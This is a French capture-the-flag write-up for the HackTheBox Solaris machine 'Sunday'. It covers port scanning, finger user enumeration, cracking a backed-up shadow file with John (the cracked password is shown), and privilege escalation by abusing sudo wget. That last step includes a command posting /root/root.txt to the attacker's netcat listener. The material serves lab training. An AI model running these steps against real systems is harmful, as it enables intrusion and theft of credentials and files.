[info]

**Introduction**

Sunday est une machine Solaris dont l’adresse IP est 10.10.10.76. L’accès utilisateur peut prendre un certain temps, mais une fois sur le bon port, c’est rapide. L’élévation de privilège n’est pas compliquée, il suffit de jouer avec la commande wget.

https://ech1.netlify.app/htb/easy/18

Compétences mises en œuvre :

* Enumération des ports et services.
* Enumération des identifiants d’un service ssh.
* Cracking de mot de passe (/etc/shadow).
* Enumération et abus des droits de l’utilisateur.

**Enumération initiale**

On commence avec une énumération des ports et services avec **nmap** :

|  |
| --- |
| $ nmap -T4 -A 10.10.10.76 |

[nmap]

Il y a que deux ports d’ouvert, nous pouvons refaire un scan pour voir si d’autres ports non communs sont utilisés :

|  |
| --- |
| $ nmap -T4 -p1-65535 10.10.10.76 |

[nmap2]

Deux ports apparaissent : le port **22022** fait tourner un service **SunSSH**, et l’autre port semble bloqué.

**Obtenir un accès utilisateur**

Nous allons tenter une énumération d’utilisateur sur le port **79** avec un programme perl que l’on clone depuis le github de **pentestmonkey** :

|  |
| --- |
| $ git clone <https://github.com/pentestmonkey/finger-user-enum>  $ perl finger-user-enum.pl –U /usr/share/wordlists/rockyou.txt –t 10.10.10.76 |

[perl]

Nous avons deux utilisateurs : **sammy** et **sunny**. En tentant de se connecter sur le port non conventionnel **22022**, nous avons un problème (la machine distante étant une Solaris plutôt vieille, nous devons activer l’ancien algorithme) :

[diffie-hellman]

Pour le résoudre, il faut ajouter l’algorithme de **diffie-hellman** dans notre **.ssh** :

|  |
| --- |
| $ echo –e "Host 10.10.10.76\n\tKexAlgorithms +diffe-hellman-group1-sha1" >> ~/.ssh/config |

On arrive à se connecter avec l’identifiant **sunny**. Malheureusement, nous n’avons pas les droits de lire le flag **user.txt** qui est dans le home de **sammy**. Nous allons donc devoir trouver le mot de passe de **sammy** :

|  |
| --- |
| sunny@Sunday $ ls /  sunny@Sunday $ ls /backup/  sunny@Sunday $ cat /backup/shadow.backup |

[shadow\_backup]

On récupère le contenu des fichiers **passwd** et **shadow.backup** pour cracker le mot de passe :

|  |
| --- |
| $ vim passwd.txt  $ vim shadow.backup  $ unshadow passwd.txt shadow.backup > john\_passwd.txt  $ john john\_passwd.txt –wordlist="/usr/share/wordlists/rockyou.txt" |

[john]

Le mot de passe de sammy est : **cooldude!**

En utilisant ce mot de passe, nous arrivons à nous connecter en ssh avec **sammy** et lire le flag user.txt :

[user.txt]

**Obtenir un accès Administrateur**

On effectue les commandes classiques d’énumération des droits, des fichiers avec le bit SUID, des services pour en voir des louches etc… On se rend compte que nous avons le droit d’exécuter la commande **wget** avec les droits de root :

|  |
| --- |
| $ sudo -l |

[sudo]

Nous allons alors sur le site **GTFOBins** pour connaitre les manipulations à effectuer afin de lire le flag root :

https://gtfobins.github.io/gtfobins/wget/

|  |
| --- |
| $nc –lvnp 1234 |
| sammy@Sunday $ sudo wget –post-file=/root/root.txt 10.10.14.37 :1234 |

[root]